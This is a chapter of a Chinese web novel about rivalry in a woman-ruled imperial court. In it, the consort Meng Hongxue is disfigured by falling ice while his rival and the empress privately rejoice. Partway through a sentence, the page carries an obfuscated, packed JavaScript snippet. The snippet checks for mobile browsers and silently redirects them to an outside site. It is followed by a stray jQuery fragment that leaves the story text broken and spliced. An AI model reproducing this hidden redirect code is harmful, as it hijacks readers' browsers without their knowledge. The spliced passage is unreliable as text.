16.谁是丑八怪

作品:《被夺舍后,他疯魔了(女尊)

    孟鸿雪倒在台阶上,昏迷不醒,大汩大汩的鲜血地流到还未来得及清扫的洁白雪面上,看起来触目惊心。


    “君后流血了!还不快把君后扶到轿撵上!”菖蒲更加惊恐地大叫起来。


    这句话瞬间就像往热锅里泼水,气氛紧张地快要沸腾出来,宫人们慌成了一团,连忙按照菖蒲的指使,呼天抢地奔向孟鸿雪。


    可由于屋檐成片的冰柱剥落下来,大大小小的碎冰块,七零八落地散在地上。


    惊慌失措的宫人们一个没注意,就踩在湿滑的冰块上摔了一跤,慌乱中连忙想要拉住旁边的人借力稳住自己,却反而把对方也给拽到了地上,就这样一个拉一个都摔在了地上,各个痛呼连天。


    “你们这群废物!”菖蒲看到这一幕气得破口大骂。


    “哈哈哈哈、”安桃躲在窗户后,偷偷透过缝隙看到这一幕,捂住嘴偷笑起来。


    “让你欺负公子,活该!砸死你才好!”安桃得意又解气得骂道,同时继续躲在窗户后偷窥。


    毕竟当初衣储莲被打入冷宫后,作为他的贴身下人,安桃也被孟鸿雪发配到辛者库,日复一日做着刷恭桶,洗衣服这种最脏最累的活。


    他对孟鸿雪也有着深刻入骨的恨意,好不容易有看着孟鸿雪落难遭殃的机会,安桃怎么可能忍住不幸灾乐祸。


    与津津有味地看戏安桃不同,衣储莲并未躲在窗户后,冷眼瞧着孟鸿雪的下场。


    他一袭白衣,安静端坐在梳妆桌前,纤薄而挺拔的脊背如同一座冷峻巍峨的白山。


    梳妆桌上,他用来遮丑的面纱已经被摘下,菱花铜镜内映出他脸上如同蜈蚣一般蜿蜒瘆人的疤痕。


    外面菖蒲和宫人们惊慌尖叫的声音,对衣储莲来说,仿佛愉悦至极的天籁之音,令他勾起一丝唇角冷笑。


    这动作正好牵动着他脸上的伤疤,蜈蚣蚯蚓一般趴在他脸上的疤痕,瞬间像是活过来一样,在他的脸上蠕动爬行,略显狰狞之余,却有渗透出一种腐烂凄绝,如骷髅生花般的美感。


    他不急不缓地捻着一柄小玉勺,一边听着外面陶醉的惊叫声,一边挖出一点如雪泥般绵腻雪白的玉容膏,沿着疤痕的形状,仔仔细细的涂抹着。


    乌黑浓密的长发自然而然地垂下,发尾堆落在厚实的地毯上,像极了白山悬崖边一泻而下的黑水瀑布,在地面上汇聚成一滩黑雾弥散的水泊,散漫卷曲的发梢,就是水面上沸腾翻涌的怨气,时刻等待着将人拽入他的地狱里,体验他曾经受过的苦难。


    直到衣储莲慢慢地将脸上的伤疤都涂上了玉容膏后,他才缓缓起身,重新系上面纱,带着安桃出门。


    这时候,菖蒲已经和其他宫人们合力,跌跌撞撞地将昏迷不醒地孟鸿雪抬上了轿撵。


    “君后这是怎么了?怎么流了这么多血?哥哥身体无碍吧?”衣储莲假装惊讶的样子。


    菖蒲回头恶狠狠地瞪了他一眼,要不是眼下孟鸿雪的伤更加要紧,他真想狠狠扇他两巴掌。


    可想到之前,就是因为他对衣储莲动手,所以自己才被陛下下令掌嘴五十。


    到如今,他的脸都还是高高肿着,巴掌印都还没完全消除,滑稽又丑陋,令人嗤笑。


    因此,菖蒲不敢再随意对衣储莲动手。


    但是如今孟鸿雪伤成这幅模样,又是在东暖阁出的事,跟衣储莲定然是脱不了关系的。


    满宫上下,谁不知道陛下疼君后疼得更眼珠子似的,定然不会让君后白白受委屈,之后肯定会责罚衣储莲。


    所以,菖蒲撂下一句狠话:“君后是在你东暖阁出的事,若他有个三长两短,你也跑不了!衣氏,你就等着陛下回来问责把你送进慎刑司吧!”


    说完,他就连忙走了。


    菖蒲原以为自己这句话会让衣储莲战战兢兢,惶恐不安。


    但他却没看到衣储莲微翘的眼睫下,有恃无恐的眸光,锐利而阴冷,比薄冷的冰刃更加清寒剐人。


    若是从前,衣储莲是绝对不敢贸然对孟鸿雪下手的。


    因为他在这宫里无依无靠。


    孟鸿雪以前没有受伤时,都对他各种折磨。要是受了伤,肯定会更加变本加厉地折磨他。


    而‘沈玉峨’肯定不会阻止,只会让孟鸿雪怎么开心怎么来,甚至拉上衣氏九族都可以。


    所以他除了躲避退让,没有任何办法,权利面前,他没有一丝一毫的反抗之力,只能任由欺凌。


    但现在不同了。


    衣储莲站在屋檐下,微微仰着头,看着遥远的御书房的方向,如同虔诚地向着圣山朝拜的信徒,只有近乎疯狂的拥趸与迷恋,没有一丝害怕与动摇。


    ---------


    沈玉峨正在上朝。


    突然,廖果神色焦急地走了进来,不顾百官异样的眼神,附在她耳边低声道。


    “陛下,大事不好,君后被冰柱砸伤,昏迷不醒。”


    沈玉峨一听,瞬间激灵。


    大事不好?这可大事太好了!


    她强行咬住快要忍不住笑出声的嘴,逼着自己做出一副震惊、悲痛、担忧的表情,说了声退朝后,就急匆匆地走了。


    赶去蓬莱殿的路上,廖果向她讲述着详细情况。


    沈玉峨原本喜滋滋地听着,嘴角不断上扬,在听到东暖阁时,脸色才微微凝重起来。


    孟鸿雪这个毒夫!


    她感染风寒,是满宫上下都知道的事,不管怎么说,他好歹也是过了明路的正经君后,沈玉峨名义上的正夫。


    寻常人家,妻主生病了,正夫都会主动探望、侍疾。


    他倒好,不来看望妻主也就罢了,还不允许其他侧君人看望,谁去看她,就又是一副喊打喊杀的模样。


    沈玉峨真是想不通,世界上怎么会有他这样恶毒的男人?


    穿越女霸占了她的身体,固然可恶,但好歹也是把他从教坊司救出来,给了他无限荣耀的人。


    他怎么就这么铁石心肠?但凡有一点爱意,也不会冷漠至此吧?


    不过气愤于孟鸿雪的恶毒阴险之外,沈玉峨更加庆幸那冰柱掉下的正是时候,否则她的储莲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432477|183294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就要遭殃了。


    ‘真是祖宗显灵啊!’沈玉峨无限感慨。


    *


    思绪间,御撵已经到了蓬莱殿。


    沈玉峨原本满心期待,就等着看着孟鸿雪狼狈的样子。


    谁知刚一走进蓬莱殿的院子,就正好撞上几个太医。


    几个太医的官服上还沾着血,神色萎靡狼狈,像是被人赶出来一样。


    看到沈玉峨迎面朝她们走来,太医们更是诚惶诚恐地跪下,脸色苍白,声音发抖:“微臣拜见陛下,陛下万安。”


    “免礼。”沈玉峨装作一副焦急的样子,连忙问道:“君后怎么样了?他醒了吗?”


    几位太医迟疑了一下,道:“启禀陛下,君后他已经苏醒了。”


    “那也就是君后没事了?”沈玉峨有些遗憾。


    唉,还以为伤得有多重呢,白高兴一场。


    太医道:“君后被冰柱砸伤了肩颈和头,臣等已经将伤口处理包扎好,君后只要修养几个月,就可恢复。”


    “......是吗......那可真是太好了。”沈玉峨扯了扯嘴角,笑意不达眼底。


    “但是——”太医忽然话锋一转。


    沈玉峨眼前一亮,一般‘但是’之后,就是坏消息。


    坏消息对沈玉峨来说,就是好消息。


    “但是什么?”她期待道。


    太医深吸了一口气,像是豁出去了一般。


    “陛下,臣等无能。”她们朝着沈玉峨伏首磕头,声音颤抖:“有一道锋利的碎冰片,从君后的额头一直划到了他的左脸,伤口太深,虽然臣等已经竭尽全力修复,但终究无力回天,君后他、他......”


    “君后他怎么了?”沈玉峨紧紧追问。


    就在她话音落时,一道凄厉的尖叫从蓬莱殿内传了出来。


    沈玉峨也不太医回答了,提裙快步走入内殿。


    一进去,她就看到孟鸿雪将一面铜镜重重摔在地上,镜边镶嵌的红宝石,碎了一地。


    宫人们全都跪在地上瑟瑟发抖,大气都不敢出。


    孟鸿雪的手上、额头上都缠着纱布,整个人却像失心疯一般缩在床角,撕心裂肺地喊着:“我的脸!不可能!不可能!这不是我的脸!”


    他的双手捂着脸,鲜血顺着他的指缝里溢出来,但即使这样,沈玉峨也能看到一截违背他捂住的伤口。


    那伤疤很深,深可见骨,开绽的皮肉就像纵深千里的大峡谷,一直从他的左眉毛,撕裂到鼻梁骨,最后延伸到右脸,模糊鲜红的血肉都露了出来。


    “怎么会这样?我的脸怎么会变成这样!为什么?为什么?”孟鸿雪声嘶力竭地叫着,一声比一声绝望。


    凄厉的叫声,透着浓浓的悲伤,响彻整个蓬莱殿,甚至连殿外都能听到。


    偷偷摸摸在蓬莱殿外探听消息的安桃,听到孟鸿雪如鬼哭般嘶嚎的声音,吓得转头就跑。


    他一刻也不敢歇,推开东暖阁的门,扑通一声跪在衣储莲面前:“公子,孟鸿雪他...好像毁容了!”